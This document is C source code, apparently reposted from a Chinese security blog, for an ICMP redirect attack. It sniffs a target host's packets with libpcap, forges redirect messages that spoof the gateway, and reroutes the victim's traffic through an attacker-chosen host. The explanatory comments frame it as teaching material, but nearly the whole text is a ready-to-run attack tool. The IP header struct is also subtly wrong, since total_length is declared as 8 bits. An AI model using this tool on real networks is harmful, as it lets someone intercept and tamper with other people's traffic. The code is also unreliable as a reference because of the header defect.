#include <stdio.h>
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#define MAX 1024
#define SIZE_ETHERNET 14
char *TARGET_IP,*REDIRECT_IP,*GW_IP;
/*sockaddr_in结构体内容:
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
*/
struct sockaddr_in target_ip,restrict_ip,gw_ip;
/* 定义IP 头部:总长度20字节 */
struct ip_header{
#ifdef WORDS_BIGENDIAN//大端顺序
u_int8_t version:4;//版本号
u_int8_t header_length:4;//头部长度
#else //小端顺序
u_int8_t header_length:4;
u_int8_t version:4;
#endif
u_int8_t tos;//服务类型
u_int8_t total_length;//总长度
u_int16_t id;//标识
u_int16_t frag_off;//标志+分片偏移
u_int8_t ttl;//生存时间
u_int8_t protocol;//协议
u_int16_t checksum;//首部校验和
struct in_addr source_address;//源IP
struct in_addr destination_address;//目的IP
};
// 定义ICMP报文首部
struct icmp_header{
u_int8_t type;
u_int8_t code;
u_int16_t checksum;
struct in_addr gateway_addr;//目标路由IP
};
/* 计算校验和
1. 把校验和字段设置为0
2. 对首部中每个16比特进行二进制反码求和
*/
u_int16_t checksum(u_int8_t *buf,int len){
u_int32_t sum=0;
u_int16_t *cbuf;
//将需要校验的数据看作以16位为单位的数字组成(buf:IP头部和ICMP头部的起始地址)
cbuf=(u_int16_t *)buf;
//对IP头部的每16bits进行二进制求和
while(len>1){
//因为sizeof一次加上2个字节,如果结尾还剩一个字节就会产生错误
sum+=*cbuf++;
len-=2;
}
if(len){
//只剩下一个字节时进行加法运算
sum+=*(u_int8_t*)cbuf;
}
// 32位 -> 16位
sum=(sum>>16)+(sum&0xffff);//将高于16位(右移)与低16位(高位填充0)相加
sum+=(sum>>16);//如果还有高于16位,将继续与高16位相加
return ~sum;//取反(返回的是十进制)
}
/* 构造并发送重定向报文
data:指向包含由pcap_loop()嗅探的整个数据包数据的第一个字节(要使用它,必须做一些类型转换)
*/
void icmp_redirect(int sockfd,const unsigned char *data,int datalen){
struct sockaddr_in dest;// 发包的目的地址(攻击地址)
// 构造的ICMP重定向包
struct packet {
struct ip_header iph;//IP首部
struct icmp_header icmph;//ICMP重定向
char data[28];//原始IP首部及数据部分(20 + 8个字节)
} packet;
//填充IP头部
packet.iph.version=4;
packet.iph.header_length=5;
packet.iph.tos=0;
packet.iph.total_length=htons(56);//20+8+28
packet.iph.id=getpid();//标识号,只要包之间的包一致就行
packet.iph.frag_off=0;
packet.iph.ttl=255;//生存时间设为最大
packet.iph.protocol=IPPROTO_ICMP;//Icmp:1,tcp:6,udp:17
packet.iph.checksum=0;//先填入0,再进行计算
packet.iph.source_address=gw_ip.sin_addr;//伪造网关发送IP报文(网关地址)
packet.iph.destination_address=target_ip.sin_addr;//被攻击主机地址
//填充icmp首部
packet.icmph.type=ICMP_REDIRECT;//类型
packet.icmph.code=ICMP_REDIRECT_HOST;//代码
packet.icmph.checksum=0;
packet.icmph.gateway_addr=restrict_ip.sin_addr;//重定向到新的路由(攻击者IP)
//从源数据包的内存地址起始地址开始,拷贝28个字节到目标地址所指的起始位置中(memcpy可以复制任何类型,而strcpy只能复制字符串)
//SIZE_ETHERNET 14 帧首部长度
memcpy(packet.data, (data+SIZE_ETHERNET), 28);
// 设置校验和
//IP检查和仅包含首部
packet.iph.checksum=checksum((u_int8_t *)&packet.iph, sizeof(packet.iph));
//ICMP检查和包含首部和数据部分
packet.icmph.checksum=checksum((u_int8_t *)&packet.icmph, sizeof(packet.icmph)+28);
/** 用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
* 发送端套接字描述符
* 待发送数据的缓冲区
* 待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,
* flag标志位,一般为0
* 数据发送的目的地址
* 地址长度
*/
dest.sin_family=AF_INET;//IP地址族
dest.sin_addr=target_ip.sin_addr;//目标IP
sendto(sockfd, &packet, 56, 0, (struct sockaddr*)&dest, sizeof(dest));
printf("a redirect packets has been sent....\n\n");
}
/*
pcap_loop()不知道如何处理返回值,所以返回值为空
第一个参数是回调函数的最后一个参数,
第二个参数包括数据包被嗅探的时间大小等信息
第三个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包(一个包包含许多属性,它不止一个字符串,而是一个结构体的集合,
如一个tcp/ip包包含以太网头部,一个ip头部还有tcp头部,还有此包的有效载荷)
*/
void getPacket(u_char * args,const struct pcap_pkthdr *pkthdr,const u_char * packet){
int sockfd, res;
int one=1;
int *ptr_one=&one;
// 构造的是ICMP数据包
if ((sockfd=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP))<0) {
//面向链路层的套接字
printf("creat sockfd error\n");
exit(-1);
}
/** 定义ICMP头部
* s:一个打开的套接字的描述符
* level:指定选项代码的类型
* SOL_SOCKET :基本套接口
* IPPROTO_IP :IPv4套接口
* IPPROTO_IPV6:IPv6套接口
* IPPROTO_TCP :TCP套接口
* optname:需设置的选项的名称
* optval:指向存放选项值的缓冲区的指针
* optlen:optval缓冲区长度
* 返回值int:标志打开或关闭某个特征的二进制选项
*/
res=setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one));
if (res<0){
printf("error--\n");
exit(-3);
}
// 填充数据部分(传入socket描述符,原始数据帧地址)
icmp_redirect(sockfd, packet, 0);
}
//开始对目标主机的对应接口进行嗅探【进行抓包,将抓到的包交给pcap_loop处理】
int setup_sniffer(char *dev) {
// 1. 设置设备【设备为ens33】
char errbuf[PCAP_ERRBUF_SIZE];
bpf_u_int32 mask;//嗅探目标网络设备的dev掩码
bpf_u_int32 net;//目标网络设备dev的ip
/** 查找网络设备
* 返回可被调用的网络折别名指针,errBuf存放出错信息字符串
* */
if(pcap_lookupnet(dev, &net, &mask, errbuf)==-1){
// dev为需要嗅探的设备
fprintf(stderr, "Can't get netmask for device %s\n",dev);
net=0;
mask=0;
}
// 2. 打开设备进行嗅探
/** 获得数据包捕获描述字函数(设备名称,参与定义捕获数据的最大字节数,是否置于混杂模式,设置超时时间0表示没有超时等待,errBuf是出错返回NULL时用于传递错误信息)
* device: 网络接口字符串,也可人为指定
* snaplen:捕获数据包的长度,最大65535字节
* promise:1表示混杂模式
* to_ms: 需要等待的毫秒数,超过后函数立即返回
* ebuf: 存放错误信息
* 返回值pcap_t:pcap_t类型指针,后面操作都要用到该指针(文件句柄)
* */
pcap_t *device=pcap_open_live(dev, 65535, 1, 0, errbuf);//打开设备进行嗅探
if (device==NULL) {
fprintf(stderr, "Couldn't open device %s:%s\n",dev,errbuf);
return (2);
}
// 3. 制定过滤规则【对流量进行过滤需要使用pcap_compile()和pcap_setfilter()】
struct bpf_program filter;
char filterstr[50]={
0};
sprintf(filterstr, "src host %s",inet_ntoa(target_ip.sin_addr));
/** 将用户制定的过滤策略编译到过滤程序中
* p:pcap会话句柄
* fp:存放编译后的规则
* str:规则表达式
* optimize:指定优化选项,1true,0false
* netmask:舰艇接口的网络掩码
* 返回值int:失败返回-1,成功返回其他值
* */
if (pcap_compile(device, &filter, filterstr, 1, net)==-1){
//过滤流量
fprintf(stderr, "Couldn't parse filter %s:%s\n",filterstr,pcap_geterr(device));
return (2);
}
//设置过滤器
pcap_setfilter(device, &filter);
printf("sniffing at %s....\n\n",TARGET_IP);
// 4. 具体的操作
/** 循环捕获网络数据包,直至遇到错误或满足退出条件,每次捕获都会调用callback指定的回调函数,可以在该函数中进行数据包的处理操作
* p:pcap_open_live()返回的pcap_t类型的指针
* cnt:指定捕获数据包的个数【负值意味着它应该嗅探直到发生错误】
* callback:回调函数【每次获取新数据包时,都会调用回调函数】
* user:向回调函数中传递的参数
* 返回值int:成功返回0,失败返回负数
* */
pcap_loop(device , -1, getPacket, NULL);
// 5. 关闭并释放资源
pcap_close(device);
return 0;
}
int main(int argc, const char * argv[]) {
if(argc!=5){
printf("usage: %s target_ip redirect_ip gateway_ip sniff_dev\n",argv[0]);
exit(1);
}
//inet_aton:将一个字符串IP地址转换为一个32位的网络序列IP地址
if(inet_aton(argv[1],&target_ip.sin_addr)==0){
printf("bad ip address %s\n",argv[1]);
exit(1);
}
//设置攻击的目标主机
TARGET_IP=argv[1];
if (inet_aton(argv[2], &restrict_ip.sin_addr) == 0) {
printf("bad ip address %s\n", argv[2]);
exit(1);
}
//重定向主机
REDIRECT_IP = argv[2];
if (inet_aton(argv[3], &gw_ip.sin_addr) == 0) {
printf("bad ip address %s\n", argv[3]);
exit(1);
}
//网关
GW_IP = argv[3];
//侦听设备
char * dev = argv[4];
printf("target:%s\n redirect:%s\n gw:%s\n dev:%s\n\n",TARGET_IP, REDIRECT_IP, GW_IP, dev);
// 进行抓包
setup_sniffer(dev);
}
信息安全-ICMP重定向攻击实现代码
猜你喜欢
转载自blog.csdn.net/qq_39736597/article/details/111770048
今日推荐
周排行